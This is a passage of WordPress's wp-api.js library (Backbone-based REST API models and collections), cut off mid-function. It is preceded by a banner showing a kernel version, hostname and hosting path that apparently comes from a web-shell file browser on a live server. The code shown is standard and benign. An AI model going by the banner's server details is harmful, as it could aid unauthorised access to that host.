Linux server.jmdstrack.com 3.10.0-1160.119.1.el7.tuxcare.els10.x86_64 #1 SMP Fri Oct 11 21:40:41 UTC 2024 x86_64
/ home/ jmdstrac/ public_html/ OLD/ wp-includes/ js/ |
|
/** * @output wp-includes/js/wp-api.js */ (function( window, undefined ) { 'use strict'; /** * Initialize the WP_API. */ function WP_API() { /** @namespace wp.api.models */ this.models = {}; /** @namespace wp.api.collections */ this.collections = {}; /** @namespace wp.api.views */ this.views = {}; } /** @namespace wp */ window.wp = window.wp || {}; /** @namespace wp.api */ wp.api = wp.api || new WP_API(); wp.api.versionString = wp.api.versionString || 'wp/v2/'; // Alias _includes to _.contains, ensuring it is available if lodash is used. if ( ! _.isFunction( _.includes ) && _.isFunction( _.contains ) ) { _.includes = _.contains; } })( window ); (function( window, undefined ) { 'use strict'; var pad, r; /** @namespace wp */ window.wp = window.wp || {}; /** @namespace wp.api */ wp.api = wp.api || {}; /** @namespace wp.api.utils */ wp.api.utils = wp.api.utils || {}; /** * Determine model based on API route. * * @param {string} route The API route. * * @return {Backbone Model} The model found at given route. Undefined if not found. */ wp.api.getModelByRoute = function( route ) { return _.find( wp.api.models, function( model ) { return model.prototype.route && route === model.prototype.route.index; } ); }; /** * Determine collection based on API route. * * @param {string} route The API route. * * @return {Backbone Model} The collection found at given route. Undefined if not found. */ wp.api.getCollectionByRoute = function( route ) { return _.find( wp.api.collections, function( collection ) { return collection.prototype.route && route === collection.prototype.route.index; } ); }; /** * ECMAScript 5 shim, adapted from MDN. * @link https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Date/toISOString */ if ( ! Date.prototype.toISOString ) { pad = function( number ) { r = String( number ); if ( 1 === r.length ) { r = '0' + r; } return r; }; Date.prototype.toISOString = function() { return this.getUTCFullYear() + '-' + pad( this.getUTCMonth() + 1 ) + '-' + pad( this.getUTCDate() ) + 'T' + pad( this.getUTCHours() ) + ':' + pad( this.getUTCMinutes() ) + ':' + pad( this.getUTCSeconds() ) + '.' + String( ( this.getUTCMilliseconds() / 1000 ).toFixed( 3 ) ).slice( 2, 5 ) + 'Z'; }; } /** * Parse date into ISO8601 format. * * @param {Date} date. */ wp.api.utils.parseISO8601 = function( date ) { var timestamp, struct, i, k, minutesOffset = 0, numericKeys = [ 1, 4, 5, 6, 7, 10, 11 ]; /* * ES5 §15.9.4.2 states that the string should attempt to be parsed as a Date Time String Format string * before falling back to any implementation-specific date parsing, so that’s what we do, even if native * implementations could be faster. */ // 1 YYYY 2 MM 3 DD 4 HH 5 mm 6 ss 7 msec 8 Z 9 ± 10 tzHH 11 tzmm if ( ( struct = /^(\d{4}|[+\-]\d{6})(?:-(\d{2})(?:-(\d{2}))?)?(?:T(\d{2}):(\d{2})(?::(\d{2})(?:\.(\d{3}))?)?(?:(Z)|([+\-])(\d{2})(?::(\d{2}))?)?)?$/.exec( date ) ) ) { // Avoid NaN timestamps caused by “undefined” values being passed to Date.UTC. for ( i = 0; ( k = numericKeys[i] ); ++i ) { struct[k] = +struct[k] || 0; } // Allow undefined days and months. struct[2] = ( +struct[2] || 1 ) - 1; struct[3] = +struct[3] || 1; if ( 'Z' !== struct[8] && undefined !== struct[9] ) { minutesOffset = struct[10] * 60 + struct[11]; if ( '+' === struct[9] ) { minutesOffset = 0 - minutesOffset; } } timestamp = Date.UTC( struct[1], struct[2], struct[3], struct[4], struct[5] + minutesOffset, struct[6], struct[7] ); } else { timestamp = Date.parse ? Date.parse( date ) : NaN; } return timestamp; }; /** * Helper function for getting the root URL. * @return {[type]} [description] */ wp.api.utils.getRootUrl = function() { return window.location.origin ? window.location.origin + '/' : window.location.protocol + '//' + window.location.host + '/'; }; /** * Helper for capitalizing strings. */ wp.api.utils.capitalize = function( str ) { if ( _.isUndefined( str ) ) { return str; } return str.charAt( 0 ).toUpperCase() + str.slice( 1 ); }; /** * Helper function that capitalizes the first word and camel cases any words starting * after dashes, removing the dashes. */ wp.api.utils.capitalizeAndCamelCaseDashes = function( str ) { if ( _.isUndefined( str ) ) { return str; } str = wp.api.utils.capitalize( str ); return wp.api.utils.camelCaseDashes( str ); }; /** * Helper function to camel case the letter after dashes, removing the dashes. */ wp.api.utils.camelCaseDashes = function( str ) { return str.replace( /-([a-z])/g, function( g ) { return g[ 1 ].toUpperCase(); } ); }; /** * Extract a route part based on negative index. * * @param {string} route The endpoint route. * @param {number} part The number of parts from the end of the route to retrieve. Default 1. * Example route `/a/b/c`: part 1 is `c`, part 2 is `b`, part 3 is `a`. * @param {string} [versionString] Version string, defaults to `wp.api.versionString`. * @param {boolean} [reverse] Whether to reverse the order when extracting the route part. Optional, default false. */ wp.api.utils.extractRoutePart = function( route, part, versionString, reverse ) { var routeParts; part = part || 1; versionString = versionString || wp.api.versionString; // Remove versions string from route to avoid returning it. if ( 0 === route.indexOf( '/' + versionString ) ) { route = route.substr( versionString.length + 1 ); } routeParts = route.split( '/' ); if ( reverse ) { routeParts = routeParts.reverse(); } if ( _.isUndefined( routeParts[ --part ] ) ) { return ''; } return routeParts[ part ]; }; /** * Extract a parent name from a passed route. * * @param {string} route The route to extract a name from. */ wp.api.utils.extractParentName = function( route ) { var name, lastSlash = route.lastIndexOf( '_id>[\\d]+)/' ); if ( lastSlash < 0 ) { return ''; } name = route.substr( 0, lastSlash - 1 ); name = name.split( '/' ); name.pop(); name = name.pop(); return name; }; /** * Add args and options to a model prototype from a route's endpoints. * * @param {Array} routeEndpoints Array of route endpoints. * @param {Object} modelInstance An instance of the model (or collection) * to add the args to. */ wp.api.utils.decorateFromRoute = function( routeEndpoints, modelInstance ) { /** * Build the args based on route endpoint data. */ _.each( routeEndpoints, function( routeEndpoint ) { // Add post and edit endpoints as model args. if ( _.includes( routeEndpoint.methods, 'POST' ) || _.includes( routeEndpoint.methods, 'PUT' ) ) { // Add any non-empty args, merging them into the args object. if ( ! _.isEmpty( routeEndpoint.args ) ) { // Set as default if no args yet. if ( _.isEmpty( modelInstance.prototype.args ) ) { modelInstance.prototype.args = routeEndpoint.args; } else { // We already have args, merge these new args in. modelInstance.prototype.args = _.extend( modelInstance.prototype.args, routeEndpoint.args ); } } } else { // Add GET method as model options. if ( _.includes( routeEndpoint.methods, 'GET' ) ) { // Add any non-empty args, merging them into the defaults object. if ( ! _.isEmpty( routeEndpoint.args ) ) { // Set as default if no defaults yet. if ( _.isEmpty( modelInstance.prototype.options ) ) { modelInstance.prototype.options = routeEndpoint.args; } else { // We already have options, merge these new args in. modelInstance.prototype.options = _.extend( modelInstance.prototype.options, routeEndpoint.args ); } } } } } ); }; /** * Add mixins and helpers to models depending on their defaults. * * @param {Backbone Model} model The model to attach helpers and mixins to. * @param {string} modelClassName The classname of the constructed model. * @param {Object} loadingObjects An object containing the models and collections we are building. */ wp.api.utils.addMixinsAndHelpers = function( model, modelClassName, loadingObjects ) { var hasDate = false, /** * Array of parseable dates. * * @type {string[]}. */ parseableDates = [ 'date', 'modified', 'date_gmt', 'modified_gmt' ], /** * Mixin for all content that is time stamped. * * This mixin converts between mysql timestamps and JavaScript Dates when syncing a model * to or from the server. For example, a date stored as `2015-12-27T21:22:24` on the server * gets expanded to `Sun Dec 27 2015 14:22:24 GMT-0700 (MST)` when the model is fetched. * * @type {{toJSON: toJSON, parse: parse}}. */ TimeStampedMixin = { /** * Prepare a JavaScript Date for transmitting to the server. * * This helper function accepts a field and Date object. It converts the passed Date * to an ISO string and sets that on the model field. * * @param {Date} date A JavaScript date object. WordPress expects dates in UTC. * @param {string} field The date field to set. One of 'date', 'date_gmt', 'date_modified' * or 'date_modified_gmt'. Optional, defaults to 'date'. */ setDate: function( date, field ) { var theField = field || 'date'; // Don't alter non-parsable date fields. if ( _.indexOf( parseableDates, theField ) < 0 ) { return false; } this.set( theField, date.toISOString() ); }, /** * Get a JavaScript Date from the passed field. * * WordPress returns 'date' and 'date_modified' in the timezone of the server as well as * UTC dates as 'date_gmt' and 'date_modified_gmt'. Draft posts do not include UTC dates. * * @param {string} field The date field to set. One of 'date', 'date_gmt', 'date_modified' * or 'date_modified_gmt'. Optional, defaults to 'date'. */ getDate: function( field ) { var theField = field || 'date', theISODate = this.get( theField ); // Only get date fields and non-null values. if ( _.indexOf( parseableDates, theField ) < 0 || _.isNull( theISODate ) ) { return false; } return new Date( wp.api.utils.parseISO8601( theISODate ) ); } }, /** * Build a helper function to retrieve related model. * * @param {string} parentModel The parent model. * @param {number} modelId The model ID if the object to request * @param {string} modelName The model name to use when constructing the model. * @param {string} embedSourcePoint Where to check the embedded object for _embed data. * @param {string} embedCheckField Which model field to check to see if the model has data. * * @return {Deferred.promise} A promise which resolves to the constructed model. */ buildModelGetter = function( parentModel, modelId, modelName, embedSourcePoint, embedCheckField ) { var getModel, embeddedObjects, attributes, deferred; deferred = jQuery.Deferred(); embeddedObjects = parentModel.get( '_embedded' ) || {}; // Verify that we have a valid object id. if ( ! _.isNumber( modelId ) || 0 === modelId ) { deferred.reject(); return deferred; } // If we have embedded object data, use that when constructing the getModel. if ( embeddedObjects[ embedSourcePoint ] ) { attributes = _.findWhere( embeddedObjects[ embedSourcePoint ], { id: modelId } ); } // Otherwise use the modelId. if ( ! attributes ) { attributes = { id: modelId }; } // Create the new getModel model. getModel = new wp.api.models[ modelName ]( attributes ); if ( ! getModel.get( embedCheckField ) ) { getModel.fetch( { success: function( getModel ) { deferred.resolve( getModel ); }, error: function( getModel, response ) { deferred.reject( response ); } } ); } else { // Resolve with the embedded model. deferred.resolve( getModel ); } // Return a promise. return deferred.promise(); }, /** * Build a helper to retrieve a collection. * * @param {string} parentModel The parent model. * @param {string} collectionName The name to use when constructing the collection. * @param {string} embedSourcePoint Where to check the embedded object for _embed data. * @param {string} embedIndex An additional optional index for the _embed data. * * @return {Deferred.promise} A promise which resolves to the constructed collection. */ buildCollectionGetter = function( parentModel, collectionName, embedSourcePoint, embedIndex ) { /** * Returns a promise that resolves to the requested collection * * Uses the embedded data if available, otherwise fetches the * data from the server. * * @return {Deferred.promise} promise Resolves to a wp.api.collections[ collectionName ] * collection. */ var postId, embeddedObjects, getObjects, classProperties = '', properties = '', deferred = jQuery.Deferred(); postId = parentModel.get( 'id' ); embeddedObjects = parentModel.get( '_embedded' ) || {}; // Verify that we have a valid post ID. if ( ! _.isNumber( postId ) || 0 === postId ) { deferred.reject(); return deferred; } // If we have embedded getObjects data, use that when constructing the getObjects. if ( ! _.isUndefined( embedSourcePoint ) && ! _.isUndefined( embeddedObjects[ embedSourcePoint ] ) ) { // Some embeds also include an index offset, check for that. if ( _.isUndefined( embedIndex ) ) { // Use the embed source point directly. properties = embeddedObjects[ embedSourcePoint ]; } else { // Add the index to the embed source point. properties = embeddedObjects[ embedSourcePoint ][ embedIndex ]; } } else { // Otherwise use the postId. classProperties = { parent: postId }; } // Create the new getObjects collection. getObjects = new wp.api.collections[ collectionName ]( properties, classProperties ); // If we didn’t have embedded getObjects, fetch the getObjects data. if ( _.isUndefined( getObjects.models[0] ) ) { getObjects.fetch( { success: function( getObjects ) { // Add a helper 'parent_post' attribute onto the model. setHelperParentPost( getObjects, postId ); deferred.resolve( getObjects ); }, error: function( getModel, response ) { deferred.reject( response ); } } ); } else { // Add a helper 'parent_post' attribute onto the model. setHelperParentPost( getObjects, postId ); deferred.resolve( getObjects ); } // Return a promise. return deferred.promise(); }, /** * Set the model post parent. */ setHelperParentPost = function( collection, postId ) { // Attach post_parent id to the collection. _.each( collection.models, function( model ) { model.set( 'parent_post', postId ); } ); }, /** * Add a helper function to handle post Meta. */ MetaMixin = { /** * Get meta by key for a post. * * @param {string} key The meta key. * * @return {Object} The post meta value. */ getMeta: function( key ) { var metas = this.get( 'meta' ); return metas[ key ]; }, /** * Get all meta key/values for a post. * * @return {Object} The post metas, as a key value pair object. */ getMetas: function() { return this.get( 'meta' ); }, /** * Set a group of meta key/values for a post. * * @param {Object} meta The post meta to set, as key/value pairs. */ setMetas: function( meta ) { var metas = this.get( 'meta' ); _.extend( metas, meta ); this.set( 'meta', metas ); }, /** * Set a single meta value for a post, by key. * * @param {string} key The meta key. * @param {Object} value The meta value. */ setMeta: function( key, value ) { var metas = this.get( 'meta' ); metas[ key ] = value; this.set( 'meta', metas ); } }, /** * Add a helper function to handle post Revisions. */ RevisionsMixin = { getRevisions: function() { return buildCollectionGetter( this, 'PostRevisions' ); } }, /** * Add a helper function to handle post Tags. */ TagsMixin = { /** * Get the tags for a post. * * @return {Deferred.promise} promise Resolves to an array of tags. */ getTags: function() { var tagIds = this.get( 'tags' ), tags = new wp.api.collections.Tags(); // Resolve with an empty array if no tags. if ( _.isEmpty( tagIds ) ) { return jQuery.Deferred().resolve( [] ); } return tags.fetch( { data: { include: tagIds } } ); }, /** * Set the tags for a post. * * Accepts an array of tag slugs, or a Tags collection. * * @param {Array|Backbone.Collection} tags The tags to set on the post. * */ setTags: function( tags ) { var allTags, newTag, self = this, newTags = []; if ( _.isString( tags ) ) { return false; } // If this is an array of slugs, build a collection. if ( _.isArray( tags ) ) { // Get all the tags. allTags = new wp.api.collections.Tags(); allTags.fetch( { data: { per_page: 100 }, success: function( alltags ) { // Find the passed tags and set them up. _.each( tags, function( tag ) { newTag = new wp.api.models.Tag( alltags.findWhere( { slug: tag } ) ); // Tie the new tag to the post. newTag.set( 'parent_post', self.get( 'id' ) ); // Add the new tag to the collection. newTags.push( newTag ); } ); tags = new wp.api.collections.Tags( newTags ); self.setTagsWithCollection( tags ); } } ); } else { this.setTagsWithCollection( tags ); } }, /** * Set the tags for a post. * * Accepts a Tags collection. * * @param {Array|Backbone.Collection} tags The tags to set on the post. * */ setTagsWithCollection: function( tags ) { // Pluck out the category IDs. this.set( 'tags', tags.pluck( 'id' ) ); return this.save(); } }, /** * Add a helper function to handle post Categories. */ CategoriesMixin = { /** * Get a the categories for a post. * * @return {Deferred.promise} promise Resolves to an array of categories. */ getCategories: function() { var categoryIds = this.get( 'categories' ), categories = new wp.api.collections.Categories(); // Resolve with an empty array if no categories. if ( _.isEmpty( categoryIds ) ) { return jQuery.Deferred().resolve( [] ); } return categories.fetch( { data: { include: categoryIds } } ); }, /** * Set the categories for a post. * * Accepts an array of category slugs, or a Categories collection. * * @param {Array|Backbone.Collection} categories The categories to set on the post. * */ setCategories: function( categories ) { var allCategories, newCategory, self = this, newCategories = []; if ( _.isString( categories ) ) { return false; } // If this is an array of slugs, build a collection. if ( _.isArray( categories ) ) { // Get all the categories. allCategories = new wp.api.collections.Categories(); allCategories.fetch( { data: { per_page: 100 }, success: function( allcats ) { // Find the passed categories and set them up. _.each( categories, function( category ) { newCategory = new wp.api.models.Category( allcats.findWhere( { slug: category } ) ); // Tie the new category to the post. newCategory.set( 'parent_post', self.get( 'id' ) ); // Add the new category to the collection. newCategories.push( newCategory ); } ); categories = new wp.api.collections.Categories( newCategories ); self.setCategoriesWithCollection( categories ); } } ); } else { this.setCategoriesWithCollection( categories ); } }, /** * Set the categories for a post. * * Accepts Categories collection. * * @param {Array|Backbone.Collection} categories The categories to set on the post. * */ setCategoriesWithCollection: function( categories ) { // Pluck out the category IDs. this.set( 'categories', categories.pluck( 'id' ) ); return this.save(); } }, /** * Add a helper function to retrieve the author user model. */ AuthorMixin = { getAuthorUser: function() { return buildModelGetter( this, this.get( 'author' ), 'User', 'author', 'name' ); } }, /** * Add a helper function to retrieve the featured media. */ FeaturedMediaMixin = { getFeaturedMedia: function() { return buildModelGetter( this, this.get( 'featured_media' ), 'Media', 'wp:featuredmedia', 'source_url' ); } }; // Exit if we don't have valid model defaults. if ( _.isUndefined( model.prototype.args ) ) { return model; } // Go thru the parsable date fields, if our model contains any of them it gets the TimeStampedMixin. _.each( parseableDates, function( theDateKey ) { if ( ! _.isUndefined( model.prototype.args[ theDateKey ] ) ) { hasDate = true; } } ); // Add the TimeStampedMixin for models that contain a date field. if ( hasDate ) { model = model.extend( TimeStampedMixin ); } // Add the AuthorMixin for models that contain an author. if ( ! _.isUndefined( model.prototype.args.author ) ) { model = model.extend( AuthorMixin ); } // Add the FeaturedMediaMixin for models that contain a featured_media. if ( ! _.isUndefined( model.prototype.args.featured_media ) ) { model = model.extend( FeaturedMediaMixin ); } // Add the CategoriesMixin for models that support categories collections. if ( ! _.isUndefined( model.prototype.args.categories ) ) { model = model.extend( CategoriesMixin ); } // Add the MetaMixin for models that support meta. if ( ! _.isUndefined( model.prototype.args.meta ) ) { model = model.extend( MetaMixin ); } // Add the TagsMixin for models that support tags collections. if ( ! _.isUndefined( model.prototype.args.tags ) ) { model = model.extend( TagsMixin ); } // Add the RevisionsMixin for models that support revisions collections. if ( ! _.isUndefined( loadingObjects.collections[ modelClassName + 'Revisions' ] ) ) { model = model.extend( RevisionsMixin ); } return model; }; })( window ); /* global wpApiSettings:false */ // Suppress warning about parse function's unused "options" argument: /* jshint unused:false */ (function() { 'use strict'; var wpApiSettings = window.wpApiSettings || {}, trashableTypes = [ 'Comment', 'Media', 'Comment', 'Post', 'Page', 'Status', 'Taxonomy', 'Type' ]; /** * Backbone base model for all models. */ wp.api.WPApiBaseModel = Backbone.Model.extend( /** @lends WPApiBaseModel.prototype */ { // Initialize the model. initialize: function() { /** * Types that don't support trashing require passing ?force=true to delete. * */ if ( -1 === _.indexOf( trashableTypes, this.name ) ) { this.requireForceForDelete = true; } }, /** * Set nonce header before every Backbone sync. * * @param {string} method. * @param {Backbone.Model} model. * @param {{beforeSend}, *} options. * @return {*}. */ sync: function( method, model, options ) { var beforeSend; options = options || {}; // Remove date_gmt if null. if ( _.isNull( model.get( 'date_gmt' ) ) ) { model.unset( 'date_gmt' ); } // Remove slug if empty. if ( _.isEmpty( model.get( 'slug' ) ) ) { model.unset( 'slug' ); } if ( _.isFunction( model.nonce ) && ! _.isEmpty( model.nonce() ) ) { beforeSend = options.beforeSend; // @todo Enable option for jsonp endpoints. // options.dataType = 'jsonp'; // Include the nonce with requests. options.beforeSend = function( xhr ) { xhr.setRequestHeader( 'X-WP-Nonce', model.nonce() ); if ( beforeSend ) { return beforeSend.apply( this, arguments ); } }; // Update the nonce when a new nonce is returned with the response. options.complete = function( xhr ) { var returnedNonce = xhr.getResponseHeader( 'X-WP-Nonce' ); if ( returnedNonce && _.isFunction( model.nonce ) && model.nonce() !== returnedNonce ) { model.endpointModel.set( 'nonce', returnedNonce ); } }; } // Add '?force=true' to use delete method when required. if ( this.requireForceForDelete && 'delete' === method ) { model.url = model.url() + '?force=true'; } return Backbone.sync( method, model, options ); }, /** * Save is only allowed when the PUT OR POST methods are available for the endpoint. */ save: function( attrs, options ) { // Do we have the put method, then execute the save. if ( _.includes( this.methods, 'PUT' ) || _.includes( this.methods, 'POST' ) ) { // Proxy the call to the original save function. return Backbone.Model.prototype.save.call( this, attrs, options ); } else { // Otherwise bail, disallowing action. return false; } }, /** * Delete is only allowed when the DELETE method is available for the endpoint. */ destroy: function( options ) { // Do we have the DELETE method, then execute the destroy. if ( _.includes( this.methods, 'DELETE' ) ) { // Proxy the call to the original save function. return Backbone.Model.prototype.destroy.call( this, options ); } else { // Otherwise bail, disallowing action. return false; } } } ); /** * API Schema model. Contains meta information about the API. */ wp.api.models.Schema = wp.api.WPApiBaseModel.extend( /** @lends Schema.prototype */ { defaults: { _links: {}, namespace: null, routes: {} }, initialize: function( attributes, options ) { var model = this; options = options || {}; wp.api.WPApiBaseModel.prototype.initialize.call( model, attributes, options ); model.apiRoot = options.apiRoot || wpApiSettings.root; model.versionString = options.versionString || wpApiSettings.versionString; }, url: function() { return this.apiRoot + this.versionString; } } ); })(); ( function() { 'use strict'; var wpApiSettings = window.wpApiSettings || {}; /** * Contains basic collection functionality such as pagination. */ wp.api.WPApiBaseCollection = Backbone.Collection.extend( /** @lends BaseCollection.prototype */ { /** * Setup default state. */ initialize: function( models, options ) { this.state = { data: {}, currentPage: null, totalPages: null, totalObjects: null }; if ( _.isUndefined( options ) ) { this.parent = ''; } else { this.parent = options.parent; } }, /** * Extend Backbone.Collection.sync to add nince and pagination support. * * Set nonce header before every Backbone sync. * * @param {string} method. * @param {Backbone.Model} model. * @param {{success}, *} options. * @return {*}. */ sync: function( method, model, options ) { var beforeSend, success, self = this; options = options || {}; if ( _.isFunction( model.nonce ) && ! _.isEmpty( model.nonce() ) ) { beforeSend = options.beforeSend; // Include the nonce with requests. options.beforeSend = function( xhr ) { xhr.setRequestHeader( 'X-WP-Nonce', model.nonce() ); if ( beforeSend ) { return beforeSend.apply( self, arguments ); } }; // Update the nonce when a new nonce is returned with the response. options.complete = function( xhr ) { var returnedNonce = xhr.getResponseHeader( 'X-WP-Nonce' ); if ( returnedNonce && _.isFunction( model.nonce ) && model.nonce() !== returnedNonce ) { model.endpointModel.set( 'nonce', returnedNonce ); } }; } // When reading, add pagination data. if ( 'read' === method ) { if ( options.data ) { self.state.data = _.clone( options.data ); delete self.state.data.page; } else { self.state.data = options.data = {}; } if ( 'undefined' === typeof options.data.page ) { self.state.currentPage = null; self.state.totalPages = null; self.state.totalObjects = null; } else { self.state.currentPage = options.data.page - 1; } success = options.success; options.success = function( data, textStatus, request ) { if ( ! _.isUndefined( request ) ) { self.state.totalPages = parseInt( request.getResponseHeader( 'x-wp-totalpages' ), 10 ); self.state.totalObjects = parseInt( request.getResponseHeader( 'x-wp-total' ), 10 ); } if ( null === self.state.currentPage ) { self.state.currentPage = 1; } else { self.state.currentPage++; } if ( success ) { return success.apply( this, arguments ); } }; } // Continue by calling Backbone's sync. return Backbone.sync( method, model, options ); }, /** * Fetches the next page of objects if a new page exists. * * @param {data: {page}} options. * @return {*}. */ more: function( options ) { options = options || {}; options.data = options.data || {}; _.extend( options.data, this.state.data ); if ( 'undefined' === typeof options.data.page ) { if ( ! this.hasMore() ) { return false; } if ( null === this.state.currentPage || this.state.currentPage <= 1 ) { options.data.page = 2; } else { options.data.page = this.state.currentPage + 1; } } return this.fetch( options ); }, /** * Returns true if there are more pages of objects available. * * @return {null|boolean} */ hasMore: function() { if ( null === this.state.totalPages || null === this.state.totalObjects || null === this.state.currentPage ) { return null; } else { return ( this.state.currentPage < this.state.totalPages ); } } } ); } )(); ( function() { 'use strict'; var Endpoint, initializedDeferreds = {}, wpApiSettings = window.wpApiSettings || {}; /** @namespace wp */ window.wp = window.wp || {}; /** @namespace wp.api */ wp.api = wp.api || {}; // If wpApiSettings is unavailable, try the default. if ( _.isEmpty( wpApiSettings ) ) { wpApiSettings.root = window.location.origin + '/wp-json/'; } Endpoint = Backbone.Model.extend(/** @lends Endpoint.prototype */{ defaults: { apiRoot: wpApiSettings.root, versionString: wp.api.versionString, nonce: null, schema: null, models: {}, collections: {} }, /** * Initialize the Endpoint model. */ initialize: function() { var model = this, deferred; Backbone.Model.prototype.initialize.apply( model, arguments ); deferred = jQuery.Deferred(); model.schemaConstructed = deferred.promise(); model.schemaModel = new wp.api.models.Schema( null, { apiRoot: model.get( 'apiRoot' ), versionString: model.get( 'versionString' ), nonce: model.get( 'nonce' ) } ); // When the model loads, resolve the promise. model.schemaModel.once( 'change', function() { model.constructFromSchema(); deferred.resolve( model ); } ); if ( model.get( 'schema' ) ) { // Use schema supplied as model attribute. model.schemaModel.set( model.schemaModel.parse( model.get( 'schema' ) ) ); } else if ( ! _.isUndefined( sessionStorage ) && ( _.isUndefined( wpApiSettings.cacheSchema ) || wpApiSettings.cacheSchema ) && sessionStorage.getItem( 'wp-api-schema-model' + model.get( 'apiRoot' ) + model.get( 'versionString' ) ) ) { // Used a cached copy of the schema model if available. model.schemaModel.set( model.schemaModel.parse( JSON.parse( sessionStorage.getItem( 'wp-api-schema-model' + model.get( 'apiRoot' ) + model.get( 'versionString' ) ) ) ) ); } else { model.schemaModel.fetch( { /** * When the server returns the schema model data, store the data in a sessionCache so we don't * have to retrieve it again for this session. Then, construct the models and collections based * on the schema model data. * * @ignore */ success: function( newSchemaModel ) { // Store a copy of the schema model in the session cache if available. if ( ! _.isUndefined( sessionStorage ) && ( _.isUndefined( wpApiSettings.cacheSchema ) || wpApiSettings.cacheSchema ) ) { try { sessionStorage.setItem( 'wp-api-schema-model' + model.get( 'apiRoot' ) + model.get( 'versionString' ), JSON.stringify( newSchemaModel ) ); } catch ( error ) { // Fail silently, fixes errors in safari private mode. } } }, // Log the error condition. error: function( err ) { window.console.log( err ); } } ); } }, constructFromSchema: function() { var routeModel = this, modelRoutes, collectionRoutes, schemaRoot, loadingObjects, /** * Set up the model and collection name mapping options. As the schema is built, the * model and collection names will be adjusted if they are found in the mapping object. * * Localizing a variable wpApiSettings.mapping will over-ride the default mapping options. * */ mapping = wpApiSettings.mapping || { models: { 'Categories': 'Category', 'Comments': 'Comment', 'Pages': 'Page', 'PagesMeta': 'PageMeta', 'PagesRevisions': 'PageRevision', 'Posts': 'Post', 'PostsCategories': 'PostCategory', 'PostsRevisions': 'PostRevision', 'PostsTags': 'PostTag', 'Schema': 'Schema', 'Statuses': 'Status', 'Tags': 'Tag', 'Taxonomies': 'Taxonomy', 'Types': 'Type', 'Users': 'User' }, collections: { 'PagesMeta': 'PageMeta', 'PagesRevisions': 'PageRevisions', 'PostsCategories': 'PostCategories', 'PostsMeta': 'PostMeta', 'PostsRevisions': 'PostRevisions', 'PostsTags': 'PostTags' } }, modelEndpoints = routeModel.get( 'modelEndpoints' ), modelRegex = new RegExp( '(?:.*[+)]|\/(' + modelEndpoints.join( '|' ) + '))$' ); /** * Iterate thru the routes, picking up models and collections to build. Builds two arrays, * one for models and one for collections. */ modelRoutes = []; collectionRoutes = []; schemaRoot = routeModel.get( 'apiRoot' ).replace( wp.api.utils.getRootUrl(), '' ); loadingObjects = {}; /** * Tracking objects for models and collections. */ loadingObjects.models = {}; loadingObjects.collections = {}; _.each( routeModel.schemaModel.get( 'routes' ), function( route, index ) { // Skip the schema root if included in the schema. if ( index !== routeModel.get( ' versionString' ) && index !== schemaRoot && index !== ( '/' + routeModel.get( 'versionString' ).slice( 0, -1 ) ) ) { // Single items end with a regex, or a special case word. if ( modelRegex.test( index ) ) { modelRoutes.push( { index: index, route: route } ); } else { // Collections end in a name. collectionRoutes.push( { index: index, route: route } ); } } } ); /** * Construct the models. * * Base the class name on the route endpoint. */ _.each( modelRoutes, function( modelRoute ) { // Extract the name and any parent from the route. var modelClassName, routeName = wp.api.utils.extractRoutePart( modelRoute.index, 2, routeModel.get( 'versionString' ), true ), parentName = wp.api.utils.extractRoutePart( modelRoute.index, 1, routeModel.get( 'versionString' ), false ), routeEnd = wp.api.utils.extractRoutePart( modelRoute.index, 1, routeModel.get( 'versionString' ), true ); // Clear the parent part of the rouite if its actually the version string. if ( parentName === routeModel.get( 'versionString' ) ) { parentName = ''; } // Handle the special case of the 'me' route. if ( 'me' === routeEnd ) { routeName = 'me'; } // If the model has a parent in its route, add that to its class name. if ( '' !== parentName && parentName !== routeName ) { modelClassName = wp.api.utils.capitalizeAndCamelCaseDashes( parentName ) + wp.api.utils.capitalizeAndCamelCaseDashes( routeName ); modelClassName = mapping.models[ modelClassName ] || modelClassName; loadingObjects.models[ modelClassName ] = wp.api.WPApiBaseModel.extend( { // Return a constructed url based on the parent and id. url: function() { var url = routeModel.get( 'apiRoot' ) + routeModel.get( 'versionString' ) + parentName + '/' + ( ( _.isUndefined( this.get( 'parent' ) ) || 0 === this.get( 'parent' ) ) ? ( _.isUndefined( this.get( 'parent_post' ) ) ? '' : this.get( 'parent_post' ) + '/' ) : this.get( 'parent' ) + '/' ) + routeName; if ( ! _.isUndefined( this.get( 'id' ) ) ) { url += '/' + this.get( 'id' ); } return url; }, // Track nonces on the Endpoint 'routeModel'. nonce: function() { return routeModel.get( 'nonce' ); }, endpointModel: routeModel, // Include a reference to the original route object. route: modelRoute, // Include a reference to the original class name. name: modelClassName, // Include the array of route methods for easy reference. methods: modelRoute.route.methods, // Include the array of route endpoints for easy reference. endpoints: modelRoute.route.endpoints } ); } else { // This is a model without a parent in its route. modelClassName = wp.api.utils.capitalizeAndCamelCaseDashes( routeName ); modelClassName = mapping.models[ modelClassName ] || modelClassName; loadingObjects.models[ modelClassName ] = wp.api.WPApiBaseModel.extend( { // Function that returns a constructed url based on the ID. url: function() { var url = routeModel.get( 'apiRoot' ) + routeModel.get( 'versionString' ) + ( ( 'me' === routeName ) ? 'users/me' : routeName ); if ( ! _.isUndefined( this.get( 'id' ) ) ) { url += '/' + this.get( 'id' ); } return url; }, // Track nonces at the Endpoint level. nonce: function() { return routeModel.get( 'nonce' ); }, endpointModel: routeModel, // Include a reference to the original route object. route: modelRoute, // Include a reference to the original class name. name: modelClassName, // Include the array of route methods for easy reference. methods: modelRoute.route.methods, // Include the array of route endpoints for easy reference. endpoints: modelRoute.route.endpoints } ); } // Add defaults to the new model, pulled form the endpoint. wp.api.utils.decorateFromRoute( modelRoute.route.endpoints, loadingObjects.models[ modelClassName ], routeModel.get( 'versionString' ) ); } ); /** * Construct the collections. * * Base the class name on the route endpoint. */ _.each( collectionRoutes, function( collectionRoute ) { // Extract the name and any parent from the route. var collectionClassName, modelClassName, routeName = collectionRoute.index.slice( collectionRoute.index.lastIndexOf( '/' ) + 1 ), parentName = wp.api.utils.extractRoutePart( collectionRoute.index, 1, routeModel.get( 'versionString' ), false ); // If the collection has a parent in its route, add that to its class name. if ( '' !== parentName && parentName !== routeName && routeModel.get( 'versionString' ) !== parentName ) { collectionClassName = wp.api.utils.capitalizeAndCamelCaseDashes( parentName ) + wp.api.utils.capitalizeAndCamelCaseDashes( routeName ); modelClassName = mapping.models[ collectionClassName ] || collectionClassName; collectionClassName = mapping.collections[ collectionClassName ] || collectionClassName; loadingObjects.collections[ collectionClassName ] = wp.api.WPApiBaseCollection.extend( { // Function that returns a constructed url passed on the parent. url: function() { return routeModel.get( 'apiRoot' ) + routeModel.get( 'versionString' ) + parentName + '/' 